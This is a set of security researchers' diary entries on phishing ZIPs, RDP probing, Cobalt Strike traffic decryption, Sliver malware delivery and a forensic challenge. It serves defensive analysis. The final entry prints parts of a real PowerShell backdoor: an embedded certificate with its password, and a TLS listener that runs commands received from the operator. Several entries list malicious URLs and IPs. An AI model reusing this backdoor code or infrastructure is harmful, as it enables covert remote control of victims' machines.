This is a video for my diary entry "Phishing ZIP With Malformed Filename", where I show how to use my zipdump.py tool to visualize the special characters inside malformed filenames.

Here is the output of my zipdump tool:

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com

Minor updates to Autoruns and Sysmon were published:

Autoruns v14.06

This Autoruns release fixes a crash happening for scheduled tasks containing spaces.
 
Sysmon v13.30

This Sysmon update adds user fields for events, fixes a series of crash-causing bugs - for example with the Visual Studio debugger - and improves memory usage and management in the driver.

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com

I have noticed a surge in probe against the RDP service in the past 2 weeks. In August, a remote code execution (RCE) critical patch was released to fix an exploit related to CVE-2021-34535 which include a POC to exploit this vulnerability. This vulnerability is also affecting Microsoft Hyper-V Manager “Enhanced Session Mode” [5] and Microsoft Defender’s Application Guard (WDAG) [6].

According to Shodan [7], there are over 4.89M IPs with TCP:3389 listening and over 3.9M IPs with RDP listening on other ports but mainly on 3388 [8]. Beside TCP:3389, my honeypot logged mstshash probe against other port such as 21, 23, 80, 8000, 8080.

20211018-022140: 192.168.25.9:3389-92.38.172.22:5616 data
\x03\x00\x00+&\xe0\x00\x00\x00\x00\x00Cookie: mstshash=hello\r\n\x01\x00\x08\x00\x03\x00\x00\x00

[2021-10-30 08:42:54] [1558] [ftp_21_tcp 16145] [77.83.36.32:65158] recv: .../*......Cookie: mstshash=Administr

Top 10 Usernames

Top 10 Sources

If using RDP, Microsoft provided the following information on "Security guidance for remote desktop adoption".

[1] https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31968
[2] https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34535
[3] https://vuldb.com/?id.180474
[4] https://nvd.nist.gov/vuln/detail/CVE-2021-34535
[5] https://docs.microsoft.com/en-us/virtualization/hyper-v-on-windows/user-guide/enhanced-session-mode
[6] https://docs.microsoft.com/en-us/windows/security/threat-protection/microsoft-defender-application-guard/md-app-guard-overview
[7] https://www.shodan.io/search?query=port:3389
[8] https://www.shodan.io/search?query=Remote+Desktop+Protocol
[9] https://www.microsoft.com/security/blog/2020/04/16/security-guidance-remote-desktop-adoption/
[10] https://isc.sans.edu/forums/diary/Random+Port+Scan+for+Open+RDP+Backdoor/24422/

-----------
Guy Bruneau IPSS Inc.
My Handler Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

With the recent release of macOS Monterey 12.0.1, multiple security vulnerabilities were addressed [1]. For users who were not keen to update to macOS Monterey either due to personal or operational reasons, security updates for macOS Catalina [2] and macOS Big Sur [3] were also made available.

However, Apple has yet released another set of security updates for macOS Big Sur and macOS Catalina, and specifically for Safari on those 2 operating systems just a few hours ago [4]. The security updates fixes WebKit related vulnerabilities (CVE-2021-30887,  CVE-2021-30888, CVE-2021-30889 and CVE-2021-30890). The security updates for these vulnerabilities were included in the macOS Monterey 12.0.1 release [1], but were not present in the security updates for macOS Catalina [2] and macOS Big Sur [3] released recently.

Users who installed Security Update 2021-007 Catalina or macOS Big Sur 11.6.1 might have thought that was all for security updates, but there’s still one more to install! Although there has been no indication that this issue may have been actively exploited, it is recommended that affected devices be updated as soon as possible.

References:
[1] https://support.apple.com/kb/HT212869
[2] https://support.apple.com/kb/HT212871
[3] https://support.apple.com/kb/HT212872
[4] https://support.apple.com/kb/HT212875

-----------
Yee Ching Tok, ISC Handler
Personal Site
Twitter

It has been a while since I hunted for phishing sites. I recently found one, and will briefly highlight the interesting observations I gleaned from analyzing the particular phishing site I discovered.

I had first tried to find sites that masqueraded as logins for financial institutions, but found that most phishing sites that did so had been taken down (which is a great thing!). I then pivoted to Outlook Web Access (OWA) sites, and soon found one that looked quite interesting. With reference to Figure 1, I found a site “auth.internal.africa” that appeared to be a OWA login page. Keep in mind the area highlighted by the red box.

Figure 1: “auth.internal.africa” Hosted on 139.162.249[.]47

The site did not yield any further information at first glance, so I dived into the HTML source to see what I could glean. Surprisingly, at the second line of the HTML code, there were comments that helpfully informed me of the designated targets (with reference to Figure 2).

Figure 2: Screenshot of HTML Source Code of “auth.internal.africa”

Since the target was now clear, I was curious to find out how the original site looked like and if there were any observable differences. With reference to Figure 3 and comparing it with Figure 1, it was observed that the original site did not have the grey boxes at the right side of the input fields (highlighted in red boxes). Additionally, the fonts and placement for the words “sign in” also differed slightly.

Figure 3: Screenshot of HTML Source Code of Original OWA Site

I compared the HTML source code of both sites, and also observed that the phishing site used a HTTP GET method (expected since the adversary would want to view the credentials that were input) whereas the actual OWA site used a HTTP POST method (also expected, since the actual site would have to submit the credentials for login). This is shown in Figure 4 (I used diff to compare the HTML source code), and further shown in line 1325 (phishing site HTML source) and line 1334 (OWA site HTML source).

Figure 4: Differences in HTTP Methods for Form Submission

On a lighter note, I also observed that the phishing site had undergone grammar checks, or at least used Grammarly (with reference to Figure 5).

Figure 5: Grammarly Extensions Observed

I have written to the website owner to notify them about the phishing page. For organizations that use OWA, perhaps it would be timely to remind users to be vigilant towards phishing pages that can bear a close resemblance to your organization’s OWA page. Although measures such as Multi-Factor Authentication (MFA) can possibly delay outright usage of stolen credentials, training users to identify and avoid phishing sites will help increase an organization’s resiliency against potential cyber attacks.

Indicators of Compromise (IOCs):
hxxps://auth.internal[.]africa
139.162.249[.]47

-----------
Yee Ching Tok, ISC Handler
Personal Site
Twitter

Cobalt Strike C2 traffic is encrypted with AES. The AES key is randomly generated by the beacon, and communicated to the team server via RSA encrypted metadata. The beacon contains the public RSA key, and the team server the private RSA key.

To decrypt traffic, you either need the AES key or the private RSA key. Unfortunately, as a blue teamer, you don't have access to these keys.

Until now.

Luckily for us, there are some rogue Cobalt Strike servers on the Internet that use private RSA keys that have been "leaked". These leaked keys can be found on VirusTotal. The packages with these keys are popular with criminals. For more info, read "Cobalt Strike: Using Known Private Keys To Decrypt Traffic – Part 1".

So now that I have a set of private keys, some of them popular, I wanted to find Cobalt Strike traffic that had been captured in the past, and that I could now decrypt.

Brad Duncan, ISC senior handler, as a large collection of malware samples and corresponding network traffic on his site network-traffic-analysis.net. He often analyses samples that involve Cobalt Strike.

So I set out to search a post with a Cobalt Strike beacon communicating over HTTP traffic, using one of the private keys I found. And I quickly found an example after the second try: "2021-02-02 - QUICK POST: HANCITOR INFECTION WITH FICKER STEALER, COBALT STRIKE, & NETSUPPORT RAT".

I will now explain in this diary entry how to decrypt the Cobalt Strike C2 traffic that Brad captured, but if you prefer, I also explain this analysis in a video. That video shows the complete decrypted traffic; while in this diary entry I just show a couple of examples of decrypted packets.

The Cobalt Strike beacon in Brad's capture file, communicates with a team server at IPv4 address 192[.]254[.]79[.]71 over HTTP.

The beacon is configured with the default profile, hence the encrypted metadata is in the cookie of the GET requests:

This cookie is a BASE64 representation of the binary, encrypted metadata. I released a new tool to decrypt Cobalt Strike metadata: cs-decrypt-metadata.py. It takes one or more cookies as arguments, and by default, tries the "leaked" private keys (found in 1768.json) to decrypt the metadata:

As seen above, my tool was able to decrypt the metadata: you can see the machine name and the user name, for example. My tool managed to do this, because the traffic is encrypted with an RSA key pair of which the private key is known (I found it on VirusTotal).

What is important for us now, to decrypt the full traffic, is the raw key: caeab4f452fe41182d504aa24966fbd0. This is a random 16-byte value generated by the beacon, from which the AES and HMAC key are derived.

I can now use my cs-parse-http-traffic.py tool to decrypt this traffic: I pass the raw key via option -r, and I filter the capture for the C2 traffic (option -Y):

The first packet that matches the filter, 6703, causes an HMAC validation error: that's because it is not C2 communication traffic, but downloading of the full beacon by the stager.

The second packet, 9383, is a sleep command, issued by the operator, with 100ms sleep and 90% jitter -> this is a sleep command to make the beacon interactive.

The third packet, 9707, is an unknown command (53) and it results in a directory listing being send back (packet 9723), hence command 53 must be the ls command.

Other examples are some invalid commands issued by the operator:

And a port scan:

To summarize: because I found some private RSA keys for Cobalt Strike on VirusTotal, we can now decrypt traffic of servers that use these keys. These keys can be found in file 1768.json, a JSON file used by my tool 1768.py to analyze beacons and used by my tool cs-decrypt-metadata.py to decrypt metadata.

If you want to know more about the different components of Cobalt Strike, I can recommend blog post "Defining Cobalt Strike Components So You Can BEA-CONfident in Your Analysis".

And I recorded a video for this analysis (included in my Cobalt Strike playlist):

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com

The output of my zipdump.py tool analyzing diary entry "Reader Malware: ZIP/HTML Phish" ZIP file is a bit strange:

File 2 is spread over 2 lines: that's because it contains a carriage-return and a line-feed control character:

When I modify my zipdump tool to escape control characters, output looks like this:

I assumed that this malformed filename (filenames are not supposed to contain CR or NL characters) was a technique to mislead the user, e.g., that the user would not see the .html extension, because it was on another line.

But that is not the case. In Windows 10, without any installed archive utility, you don't even see the HTML file:

And you can view the PNG file (i.png), but not the HTML file:

Wit WinZIP you get a warning:

And the HTML file is not listed:

With WinRAR, you do see the HTML file:

And also with 7-Zip:

Conclusion: depending on your archive utility, you might see the HTML file or not. But when you see the HTML file, you see the complete filename as if the CR and NL characters did not exist.

So the purpose of adding these special characters, is probably not to mislead the user.

I think that these characters are included, to bypass email detection systems that decompress archives to a temporary folder for scanning. Either the de-archiving utility might have issues with the CR and NL characters embedded in the filename, and just skip that file. Then it won't be scanned.

Or either the scanner might have issues dealing with the CR and NL characters embedded in the filename.

What do you think? Please post a comment with your hypothesis.

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com

Reader Henry submitted a malicious email attachment: a ZIP file.

It contains a PNG file and a HTML file:

The HTML file contains a script with hexadecimal code, that can be decoded with base64dump.py:

This is a phishing site for Microsoft credentials, that starts with a captcha:

There's something more to this zip file: that's for next diary entry.

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com

This new release of YARA is just a bug fix release.

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com

Introduction

Today's diary is a forensic challenge for October 2021.  The files are here.  This month's challenge is based on a packet capture (pcap) of an Active Directory (AD) environment with three Windows clients that become infected.  Each infection is based on an email, and the three emails that caused these infections are also provided.  Your task?  Match each email to its infected Windows client.

Participants who submit the correct answers will be entered into a drawing, and one lucky winner will receive a Raspberry Pi.

Rules for the contest follow:

• Only one submission per person.
• Participants who submit correct answers will be entered into a drawing, and one will win.
• Submissions should be made using the form on our contact page at: https://isc.sans.edu/contact.html
• Use October 2021 Forensic Challenge for the Subject: line.
• Provide the following information:
  • Match the email to the infected Windows host and user.  Your answers should look something like:
    • 2021-10-21-malicious-email-1102-UTC.eml - DESKTOP-PEQUOD - captain.ahab
    • 2021-10-21-malicious-email-1739-UTC.eml - LAPTOP-NAUTILUS - captain.nemo
    • 2021-10-21-malicious-email-2214-UTC.eml - DESKTOP-NCC1701 - james.kirk
• Potential winners should have a mailing address what we can easily ship the Raspberry Pi to.

Submissions will be accepted through Sunday October 31st, 2021.  Everyone who submits the correct answers will be entered in a drawing, and the winner will be randomly chosen.  The winner will be announced in an ISC diary on Thursday November 4th, and that diary will also provide analysis of the infection traffic.

Material for this month's forensic challenge is located here on malware-traffic-analysis.net.  The page contains links to two zip archives.  One zip archive contains a pcap of network traffic from AD environment.  Another zip archive contains the three malicious emails.

NOTE: Be very careful, because this material has actual malware that could infect a WIndows computer.  I always recommend people review pcaps and malicious emails in a non-Windows environment, if possible.  If you don't know what you're doing, you should not participate in this contest.  Instead, wait for analysis in our upcoming ISC diary with answers and analysis on Thursday November 4th.

Requirements

Analysis of the infection traffic requires Wireshark or some other pcap analysis tool.  Wireshark is my tool of choice to review pcaps of infection traffic.  However, default settings for Wireshark are not optimized for web-based malware traffic.  That's why I encourage people to customize Wireshark after installing it.  To help, I've written a series of tutorials.  The ones most helpful for this quiz are:

• Wireshark Tutorial: Changing Your Column Display
• Wireshark Tutorial: Identifying Hosts and Users
• Wireshark Tutorial: Display Filter Expressions
• Using Wireshark - Exporting Objects from a Pcap

I always recommend reviewing the pcap and emails in a non-Windows environment like BSD, Linux, or macOS.  Why?  Because the material contains Windows-based malware.  If you're using a Windows host to review the pcaps and emails, your antivirus (or Windows Defender) may delete or alter them.  Worst case?  You might accidentally run some of the malware and infect your Windows computer.

Final Words

Again, material for this month's contest is available here.  As stated earlier, we will accpet submissions through Sunday October 31st, 2021.  Everyone who submits the correct answers will be entered in a drawing, and the winner will be randomly chosen.  The winner will be announced in an ISC diary on Thursday November 4th that will also provide analysis of the infection traffic.

---

Brad Duncan
brad [at] malware-traffic-analysis.net

Introduction

On Wednesday 2021-10-20, Proofpoint reported the TA551 (Shathak) campaign started pushing malware based on Sliver.  Sliver is a framework used by red teams for adversary simluation and penetration testing.  I've already posted my findings on TA551's Sliver activity from 2021-10-20.

That same day, Sliver-based malware was also being pushed by the "Stolen Images Evidence" campaign.  Today's diary reviews a Sliver infection from the "Stolen Images Evidence" campaign.

Shown above:  Flowchart for "Stolen Images Evidence" campaign on Wednesday 2021-10-20.

Background

The "Stolen Images Evidence" campaign uses emails generated through contact forms on various websites.  So these messages don't originate through normal spam methods.  They appear through contact form submissions describing a copyright violation to the intended victim.  These form-submitted messages include a Google-based URL in the message text.  This malicious link supposedly provides proof of stolen images that resulted in a copyright violation.

Another theme used by this same campaign is "DDoS attack Evidence" which operates in the same manner as "Stolen Images Evidence" activity.

Both campaigns push a zip archive to the web browser.  Potential victims save the zip archive, open it, and double-click the enclosed JavaScript (.js) file.  We've covered "Stolen Images Evidence" in a previous diary when it was pushing BazarLoader.

Malware pushed by this campaign includes BazarLoader, Gozi/ISFB/Ursnif, and IcedID (Bokbot).  Wednesday 2021-10-20 is the first time we've seen it push Sliver-based malware.

Shown above:  "Stolen Images Evidence" website hosted on googleapis domain on 2021-10-20.

Shown above:  Downloaded zip archive and extracted .js file.

Infection process

Below are screenshots from the infection traffic filtered in Wireshark.

Shown above:  Traffic from the infection filtered in Wireshark.

Shown above:  .js file retrieving and running he Sliver-based malware DLL.

A 10 MB malware DLL was saved to the infected user's AppData\Local\Temp directory.  There was no apparent method of persistence, and rebooting the computer ended this particular infection.  However, if an infected host runs long enough, someone might use Sliver to download other malware and establish or maintain a presence in the victim's environment.

Shown above:  Sliver-based malware DLL on the infected Windows host.

Indicators of Compromise (IOCs)

URL for the "Stolen Images Evidence" page:

• hxxps://storage.googleapis[.]com/m4b38h10cm38.appspot.com/d/file/0/public/a/3fnn3nv38vb3mdj.html?h=975634908970335729

Malicious domain called by the above Google URL:

• 104.21.91[.]115 port 443 - bacionera[.]top - HTTPS traffic

Traffic generated by Stolen Images Evidence.js file:

• 104.21.65[.]22 port 80 - sobolpand[.]top - GET /333g100/index.php
• 104.21.65[.]22 port 80 - sobolpand[.]top - GET /333g100/main.php

Post-infection traffic for Sliver-based malware:

• 23.81.246[.]193 port 443 - nopogew[.]com - HTTPS traffic

SHA256 hash: f136e8eebfa0c6caf9b0300ef18ed6a73fefa4e298e10620547692350c6a37c6

• File size: 5,575 bytes
• File name: Stolen Images Evidence.zip
• File description: zip archive downloaded from "Stolen Images Evidence" page

SHA256 hash: 4894d2c2635f5186c8ca3ab79cdb6235f805e9e0ca056c5c53d70b782a92f5c3

• File size: 18,362 bytes
• File name: Stolen Images Evidence.js
• File description: JS file extracted from Stolen Images Evidence.zip

SHA256 hash: 60a83accaa83f6db250a3529a12e916b8f1e61d3ade506fa79aa9cc3d360db21

• File size: 10,572,806 bytes
• File location: hxxp://sobolpand[.]top /333g100/main.php
• File location: C:\Users\[username]\AppData\Local\Temp\riuQtga.dat
• File description: Windows DLL for SLIVER-based malware
• Run method: regsvr32.exe [filename]

Using the any.run sandbox, we were able to decrypt some of the HTTPS traffic generated by the Sliver-based malware.  URLs in the HTTPS traffic from this sandbox analysis follow:

• nopogew[.]com - GET /sample.txt?_=24307128
• nopogew[.]com - GET /info.txt?_=43639523
• nopogew[.]com - POST /admin/login.jsp?_=34297139
• nopogew[.]com - GET /underscore.min.js?_=14130295
• nopogew[.]com - POST /rest/login.php?_=29759540
• nopogew[.]com - GET /static/underscore.min.js?_=34644478
• nopogew[.]com - GET /js/underscore.min.js?_=429465
• nopogew[.]com - GET /underscore.min.js?_=42953899
• nopogew[.]com - GET /jquery.min.js?_=98185060
• nopogew[.]com - GET /static/underscore.min.js?_=92424842
• nopogew[.]com - GET /dist/underscore.min.js?_=99992372
• nopogew[.]com - GET /js/underscore.min.js?_=83694471
• nopogew[.]com - GET /bootstrap.min.js?_=23925416
• nopogew[.]com - GET /jquery.min.js?_=69790205
• nopogew[.]com - GET /underscore.min.js?_=66973448
• nopogew[.]com - GET /static/bootstrap.min.js?_=16343884
• nopogew[.]com - GET /dist/bootstrap.min.js?_=66112726

Final words

A packet capture (pcap) of the infection traffic and associated malware samples can be found here.

---

Brad Duncan
brad [at] malware-traffic-analysis.net

In many countries, citizens are vaccinated and authorities are now implementing new rules when you need to attend some events or travels. For example, in Brussel (BE), you must prove that you're completely vaccinated by showing your "COVID Safe Ticket" to go to a restaurant or a bar. The document name changes across countries but it's basically the same document for everybody with a QR-code.

Some people are against the vaccin and look for "solutions" to attend events. They try to find or to fake such certificates (which is of course illegal). A few weeks ago, the French president Emmanual Macron had his QR code stolen and re-used by some people[1]. This means that people are looking for QR-code and data! Behind this story, there seems to be a new type of data leak, many people exchange certificates which contain a lot of sensitive information.

For a few days, I run a hunting search on VT to try to find interection documents and I found some nice PDF files:

Be careful when you exchange documents like these on a cloud service or if you exchange them via tools that automatically feed VT! Once uploaded, they should be considered as "lost"!

[1] https://www.rfi.fr/en/france/20210924-health-officials-identify-suspects-behind-macron-s-qr-data-leak-health-pass-digital-security

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

The "Great Chinese Firewall" has been well documented for its ability to block content from reaching users in China [1][2]. The firewall is implemented using various tools, inspecting traffic for blocked keywords or, in some cases, even scanning images or outright blocking specific sites.
One persistent rumor has it that it is possible to block traffic from China by embedding blocked keywords in traffic. I wanted to test this using my home mail server. As part of the server banner, I added a few banned words:

There is no authoritative list of blocked keywords. But the keywords above have often been cited as being blocked. Adding them to the mail server's banner should also expose them before, for example, STARTTLS is activated.

I used my mail server as an example for several reasons:

1. It receives almost no actual email, but pretty much only spam.
2. A large number of brute-forcing and other connections to the mail server originate from China.
3. I could not find much about how the great Chinese firewall affects email. Email is often controlled on the mail server and may not be affected by the firewall to the same extend.

The pie charts display the top countries before and after making the change. While there was a slight change in the number of Chinese IP addresses (9% instead of 11% of the total number of connections), the difference is not what I would consider significant. So, for now, I call the rumor busted that you can get the Chinese firewall to block traffic to your system by injecting simple keywords.
I think this may require a more detailed investigation. For example, the keywords will likely matter. It may also matter in what context the keywords are sent. HTTP content is more likely going to be blocked (I think). Or maybe the SMTP content is ignored if it is part of the SMTP envelope?

[1] https://en.wikipedia.org/wiki/Great_Firewall
[2] https://isc.sans.edu/forums/diary/Why+Does+Emperor+Xi+Dislike+Winnie+the+Pooh+and+Scrambled+Eggs/23395/

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

Attackers have many ways to protect their C2 servers from unwanted connections. They can check some specific headers, the user-agent, the IP address location (GeoIP), etc. I spotted an interesting PowerShell sample that implements a client certificate authentication mechanism to access its C2 server. It's VT score is 9/56[1] (SHA256:6d3f45db0a991572a7ac8077e2fd8eec29aad99e7efa6cea5e54186ac1abc488).

The certification is Base64 encoded and protected by the password 'password' (no comment):

$ztgMbBRW99 = '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
='
$QneQGddx99 = 'password'

The implementation is done via System.Security.Cryptography.X509Certificates.X509Certificate2:

$uSrbSrVp99 = New-Object System.Security.Cryptography.X509Certificates.X509Certificate2([System.Convert]::FromBase64String($ztgMbBRW99), $QneQGddx99)
$UAEeAVGa99 = [System.Net.Sockets.TcpListener][int]$port
$UAEeAVGa99.start()
$dGIDFjCR99 = $UAEeAVGa99.AcceptTcpClient()
$pIPCBjOz99 = New-Object System.Net.Security.SslStream $dGIDFjCR99.GetStream(), $false, ({$True} -as [Net.Security.RemoteCertificateValidationCallback])
$pIPCBjOz99.AuthenticateAsServer($uSrbSrVp99, $false, [System.Security.Authentication.SslProtocols]::Tls, $false)

The class x509Certificate2 expects a certificate in PFX or PKCS12 format. Let's try to decode the one present in the script using OpenSSL:

$ openssl pkcs12 -in payload.cert
Enter Import Password:
MAC verified OK
Bag Attributes
    localKeyID: FB 69 28 8A 7B F7 EB C0 B7 7A EC AE 0A 17 64 A0 A4 17 94 9E
subject=/C=US/ST=Denial/L=Springfield/O=Dis/CN=www.example.com
issuer=/C=US/ST=Denial/L=Springfield/O=Dis/CN=www.example.com
-----BEGIN CERTIFICATE-----
MIIDNDCCAhwCCQCW9ShBEcQuFTANBgkqhkiG9w0BAQsFADBcMQswCQYDVQQGEwJV
UzEPMA0GA1UECAwGRGVuaWFsMRQwEgYDVQQHDAtTcHJpbmdmaWVsZDEMMAoGA1UE
CgwDRGlzMRgwFgYDVQQDDA93d3cuZXhhbXBsZS5jb20wHhcNMTYwODAyMDczODM3
WhcNMTcwODAyMDczODM3WjBcMQswCQYDVQQGEwJVUzEPMA0GA1UECAwGRGVuaWFs
MRQwEgYDVQQHDAtTcHJpbmdmaWVsZDEMMAoGA1UECgwDRGlzMRgwFgYDVQQDDA93
d3cuZXhhbXBsZS5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDJ
c9dMuojBRCSFR3sRofKng2l9jScY/FqdNbkFJcelsa9qqef3LSuCRA082ObKf3sZ
OQZgrUocPN0uiV3T14cZjJwFMQDKfWf7hMEV2jFeQQs7bqTEdAPY2D3rtOQXo2w8
JXamXBqXuVP0UnSvhftetHzAfbQ5VZQoH4hmthbFJXehsgNIQpvCW7VFU6+a2npQ
33vVEv0AiGxxXCcJRwKsc2hvg49rPhWETChFr5FhLOS5BIjag5jcLG5BCROYR6wk
NsvWvhQd3lnz3Al4tdvUKoCgls+tT467TfGH2mBm3vZpDzOt0GT8qF0tmSERZbsc
czBfTfjmikOtnYw7VKTtAgMBAAEwDQYJKoZIhvcNAQELBQADggEBAJX83wuyTekt
dUA3C2iucf2PkzlUYhG9xTyoF9hJmI+e9U4NW+Xc8RuRTStiBegRkjCRaTC/A4KC
UaeafFzdiEy9QNkU6VFA9ASyQvIqkxoCUHPTfD0gymUtElDjM5yeeBgCO4Jb1oLV
2cGpGR6vgZ/1VcEjR7VpyGuhafFTZQJax0zuKcinh3aKlDYEBg/FUAM6e2sQYPae
PElSefgqariBUB6MJbjJQacCKmyHCw3+JHtM+1vdRhBuhwAbrqnfoWtDNik8ZG3T
9o7Eu+/II7noRQFKYOB/OszM2eVxSg6xpoguuHU1HMmm5MmFhziAKbyUy0XJhOVm
eXfyG6jQE5I=
-----END CERTIFICATE-----

Once the connection is established, the script enters an infinite loop and waits for commands. Data is delivered via JSON objects:

try {
    $type = ($veAsxeZF99 | ConvertFrom-Json).type
    $zxrTrFRw99 = ($veAsxeZF99 | ConvertFrom-Json).data
    $EBZtfXQJ99 = ($veAsxeZF99 | ConvertFrom-Json).sendoutput
    $ucyYeLLE99 = ($veAsxeZF99 | ConvertFrom-Json).multiple
    $data = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($zxrTrFRw99))
    $extra = ($veAsxeZF99 | ConvertFrom-Json).extra
} catch {
    continue
}

The received payload in $data is executed and the output is sent back to the C2.

The fact that the certificate is stored in the script makes the debugging easy but this technique can indeed defeat simple scanners or automated checks!

[1] https://www.virustotal.com/gui/file/6d3f45db0a991572a7ac8077e2fd8eec29aad99e7efa6cea5e54186ac1abc488
[2] https://docs.microsoft.com/en-us/dotnet/api/system.security.cryptography.x509certificates.x509certificate2?view=net-5.0

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

